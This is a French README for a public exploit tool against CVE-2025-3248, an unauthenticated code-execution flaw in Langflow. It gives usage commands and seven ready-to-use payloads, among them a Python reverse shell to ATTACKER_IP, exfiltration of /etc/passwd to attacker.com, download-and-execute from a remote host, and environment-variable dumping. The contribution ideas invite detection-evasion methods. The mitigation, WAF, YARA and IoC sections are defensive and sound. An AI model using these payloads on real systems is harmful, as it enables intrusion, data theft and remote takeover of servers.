CVE-2025-3248 : Scanner de vulnérabilité RCE non authentifié Langflow

Un framework d'exploitation Python complet pour tester et démontrer CVE-2025-3248, une vulnérabilité critique d'exécution de code à distance non authentifiée dans Langflow versions ≤ 1.3.0.

🔴 Aperçu de la vulnérabilité

CVE-2025-3248 : Injection de code Langflow RCE

Cause racine

La vulnérabilité réside dans le point d'accès API /api/v1/validate/code, qui accepte du code Python arbitraire et le valide à l'aide de la fonction exec() non sécurisée de Python, sans assainissement des entrées ni isolation. La vulnérabilité exploite le comportement de Python où :

1. Les décorateurs sont évalués immédiatement lors de la définition d'une fonction
2. Les valeurs d'arguments par défaut sont exécutées lors de l'analyse de l'arbre syntaxique abstrait (AST)
3. Aucune validation d'entrée n'empêche l'exécution de code malveillant

Chaîne d'attaque

Attacker → POST /api/v1/validate/code → Python exec() → RCE
     ↓
   No Auth Required
     ↓
   Arbitrary Python Code
     ↓
   System Command Execution

✨ Fonctionnalités

• ✅ Détection de point d'accès : Identifie automatiquement les instances Langflow vulnérables
• ✅ Tests multi-étapes : 4 tests de vulnérabilité progressifs
• ✅ Exécution de commandes : Exécute des commandes système arbitraires sur la cible
• ✅ Extraction d'environnement : Récupère les variables d'environnement et la configuration
• ✅ Opérations sur les fichiers : Teste les capacités de lecture/écriture de fichiers
• ✅ Support du shell inversé : Ouvre des sessions de shell interactif inversé
• ✅ Détection de version : Identifie les informations de version de Langflow
• ✅ Sortie colorée : Lisibilité améliorée avec des couleurs de terminal
• ✅ Gestion des délais d'attente : Délais d'attente configurables pour les requêtes
• ✅ Contournement SSL/TLS : Prise en charge des certificats auto-signés

📦 Prérequis

Python >= 3.7
requests >= 2.25.0

Installer les dépendances

pip install requests

Optionnel (pour une meilleure journalisation)

pip install colorama  # Pour le support des couleurs sous Windows

🚀 Installation

Méthode 1 : Cloner depuis GitHub

git clone https://github.com/drackyjr/cve-2025-3248-exploit.git
cd cve-2025-3248-exploit
pip install -r requirements.txt
chmod +x cve_2025_3248_test.py

📖 Utilisation

Syntaxe de base

python3 cve_2025_3248_test.py -t <url_cible> [options]

Exemples de démarrage rapide

1. Analyse de vulnérabilité de base

python3 cve_2025_3248_test.py -t http://target.com

2. Exécuter une commande personnalisée

python3 cve_2025_3248_test.py -t http://target.com -c "whoami"

3. Exécuter plusieurs commandes

python3 cve_2025_3248_test.py -t http://target.com -c "cat /etc/passwd"

4. Exploitation par shell inversé (test autorisé uniquement)

Étape 1 : Démarrer un écouteur netcat sur votre machine

nc -lvnp 4444

Étape 2 : Lancer l'exploit

python3 cve_2025_3248_test.py -t http://target.com --exploit --lhost VOTRE_IP --lport 4444

Exemple :

python3 cve_2025_3248_test.py -t http://192.168.1.100:7860 --exploit --lhost 192.168.1.50 --lport 4444

5. Analyse avec délai d'attente personnalisé

python3 cve_2025_3248_test.py -t http://target.com --timeout 30

Arguments de ligne de commande

positional arguments:
  None

optional arguments:
  -t, --target TARGET       URL cible (ex. http://target.com) [OBLIGATOIRE]
  -c, --command COMMAND     Commande à exécuter (défaut : id)
  --timeout TIMEOUT         Délai d'attente des requêtes en secondes (défaut : 10)
  --exploit                 Activer le mode exploitation (shell inversé)
  --lhost LHOST            Votre adresse IP pour le shell inversé
  --lport LPORT            Votre port pour le shell inversé
  -h, --help               Afficher ce message d'aide

💾 Variations de charge utile

1. Exécution basée sur un décorateur

payload = {
    "code": """
@exec("import os; os.system('whoami')")
def vulnerable_function():
    pass
"""
}

2. Exécution par argument par défaut

payload = {
    "code": """
def test(arg=exec("__import__('subprocess').check_output(['id'])")):
    pass
"""
}

3. Exfiltration de données

payload = {
    "code": """
def test(x=exec("import requests; requests.post('http://attacker.com/exfil', data=open('/etc/passwd').read())")):
    pass
"""
}

4. Shell inversé (en une ligne)

payload = {
    "code": """
def shell(x=exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ATTACKER_IP',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/sh','-i'])")):
    pass
"""
}

5. Opérations de lecture de fichier

payload = {
    "code": """
def read_file(x=exec("print(open('/etc/passwd').read())")):
    pass
"""
}

6. Énumération des variables d'environnement

payload = {
    "code": """
def enum_env(x=exec("import os; print('\\n'.join([f'{k}={v}' for k,v in os.environ.items()]))")):
    pass
"""
}

7. Téléchargement et exécution

payload = {
    "code": """
def download_exec(x=exec("import urllib.request; exec(urllib.request.urlopen('http://attacker.com/payload.py').read())")):
    pass
"""
}

🔍 Détection et atténuation

Pour les défenseurs

Actions immédiates

1. Mettre à jour Langflow

   root@kitploit:~

   pip install langflow>=1.3.0
   # ou
   docker pull langflow:latest
   

2. Restreindre l'accès réseau

   root@kitploit:~

   # Proxy inverse Nginx - bloquer le point d'accès vulnérable
   location /api/v1/validate/code {
       deny all;
   }
   

3. Mettre en place une authentification

   root@kitploit:~

   # Ajouter un middleware d'authentification
   @app.middleware("http")
   async def auth_middleware(request, call_next):
       if "/api/v1/validate/code" in request.url.path:
           if not verify_auth(request):
               return JSONResponse(status_code=401)
       return await call_next(request)
   

Règles WAF

Règle ModSecurity :

SecRule ARGS:code "@contains exec" "id:1001,phase:2,deny"
SecRule ARGS:code "@contains subprocess" "id:1002,phase:2,deny"
SecRule ARGS:code "@contains __import__" "id:1003,phase:2,deny"
SecRule ARGS:code "@contains os.system" "id:1004,phase:2,deny"

Règles de détection

Signature YARA :

rule CVE_2025_3248_Langflow_RCE {
    strings:
        $api_path = "/api/v1/validate/code"
        $exec = "exec("
        $subprocess = "subprocess"
        $os_system = "os.system"
    condition:
        $api_path and any of ($exec, $subprocess, $os_system)
}

Surveillance et journalisation

# Surveiller les requêtes suspectes
tail -f /var/log/nginx/access.log | grep "/api/v1/validate/code"

# Alerter sur les requêtes POST vers le point d'accès vulnérable
auditctl -w /var/lib/langflow -p wa -k langflow_changes

Indicateurs de compromission (IoC)

• Requêtes POST inhabituelles vers /api/v1/validate/code
• Processus issus de Langflow avec des noms suspects
• Connexions sortantes inattendues depuis le serveur Langflow
• Fichiers créés avec des horodatages inhabituels dans /tmp
• Exécution de sous-processus Python depuis le processus Langflow
• Échecs d'authentification suivis de requêtes API
• Pic d'utilisation CPU/Mémoire depuis le conteneur Langflow

🔬 Analyse technique

Comment fonctionne la vulnérabilité

La chaîne de vulnérabilité fonctionne comme suit :

# L'attaquant envoie cette charge utile :
POST /api/v1/validate/code HTTP/1.1
Content-Type: application/json

{
    "code": "def func(x=exec('import os; os.system(\"whoami\")')): pass"
}

# Le serveur la traite :
exec(code)  # ← Dangereux ! Aucun assainissement

# Pendant l'analyse AST, l'argument par défaut est évalué :
# exec('import os; os.system("whoami")')

# Résultat : Exécution de commande arbitraire

Pourquoi les décorateurs fonctionnent

Comportement de Python avec les décorateurs lors de la définition d'une fonction :

# Ce code est exécuté immédiatement :
@decorator_expression
def my_function():
    pass

# Ce qui signifie que cette charge utile exécute le code :
@exec("code_malveillant_ici")
def vulnerable_function():
    pass

Pourquoi c'est critique

1. Aucune authentification requise : N'importe qui peut accéder au point d'accès
2. Accessible depuis le réseau : Peut être exploité à distance
3. Accès système complet : S'exécute avec les privilèges du processus Langflow
4. Aucune validation d'entrée : Exécution directe de code
5. Largement déployé : Utilisé dans des environnements de production
6. Disponibilité élevée d'exploit : POC publiques disponibles

📊 Chronologie de la vulnérabilité

🛡️ Liste de contrôle des tests défensifs

Lors de tests de sécurité autorisés :

• Obtenir une autorisation écrite avant les tests
• Documenter toutes les activités de test
• Utiliser si possible des environnements de test isolés
• Éviter d'exploiter inutilement les systèmes de production
• Nettoyer tout artefact (fichiers, processus) créé lors des tests
• Signaler les résultats de manière responsable à l'organisation cible
• Suivre les pratiques de divulgation responsable
• Maintenir la confidentialité des résultats de test

📚 Références

• OffSec Blog : Analyse CVE-2025-3248
• SentinelOne : Injection de code Langflow RCE
• Zscaler ThreatLabz : Vulnérabilité RCE CVE-2025-3248
• TrendMicro : Exploitation par le botnet FLODRIC
• RecordedFuture : Rapport d'exploitation active
• Exploit-DB : Langflow 1.3.0 RCE
• GitHub Advisories : GHSA-c995-4fw3-j39m

🤝 Contribution

Les contributions sont les bienvenues ! Veuillez suivre ces directives :

1. Forker le dépôt
2. Créer une branche de fonctionnalité (git checkout -b feature/amazing-feature)
3. Commiter vos changements (git commit -m 'Add amazing feature')
4. Pousser vers la branche (git push origin feature/amazing-feature)
5. Ouvrir une Pull Request

Idées de contribution

• Variations supplémentaires de charges utiles
• Techniques d'exploitation alternatives
• Méthodes d'évasion de détection
• Stratégies d'atténuation
• Améliorations de la documentation
• Corrections de bugs

⚠️ Avertissement

AVIS JURIDIQUE IMPORTANT :

Cet outil est fourni à des fins éducatives et de test de sécurité autorisé uniquement. L'accès non autorisé à des systèmes informatiques est ILLÉGAL et enfreint les lois, notamment :

• Computer Fraud and Abuse Act (CFAA) - États-Unis
• Computer Misuse Act - Royaume-Uni
• Information Technology Act (ITA) - Inde
• Lois similaires dans votre juridiction

Vous êtes seul responsable :

• ✅ D'obtenir une autorisation écrite explicite des propriétaires de systèmes avant les tests
• ✅ De veiller à ce que toutes les activités soient conformes aux lois locales et internationales
• ✅ D'utiliser cet outil uniquement sur des systèmes que vous possédez ou pour lesquels vous avez l'autorisation de tester
• ✅ De maintenir la confidentialité des résultats de sécurité
• ✅ De suivre les pratiques de divulgation responsable
• ✅ De ne pas utiliser cet outil à des fins malveillantes

En utilisant cet outil, vous acceptez :

• De ne pas l'utiliser pour un accès non autorisé ou des dommages
• D'assumer l'entière responsabilité juridique de vos actions
• D'indemniser et de dégager les créateurs de toute responsabilité
• De vous conformer à toutes les lois et réglementations applicables

Les créateurs et contributeurs déclinent TOUTE RESPONSABILITé en cas d'utilisation abusive de cet outil.

📖 Ressources supplémentaires

Matériel d'apprentissage

• OWASP Code Injection
• CWE-94 : Contrôle inapproprié de la génération de code
• Sécurité Python : Dangers de exec()
• Techniques de shell inversé

Dernière mise à jour : 21 novembre 2025

╔═══════════════════════════════════════════════════════════╗
║  CVE-2025-3248: Langflow RCE Vulnerability Scanner v1.0  ║
║  Use Responsibly - Authorized Testing Only               ║
╚═══════════════════════════════════════════════════════════╝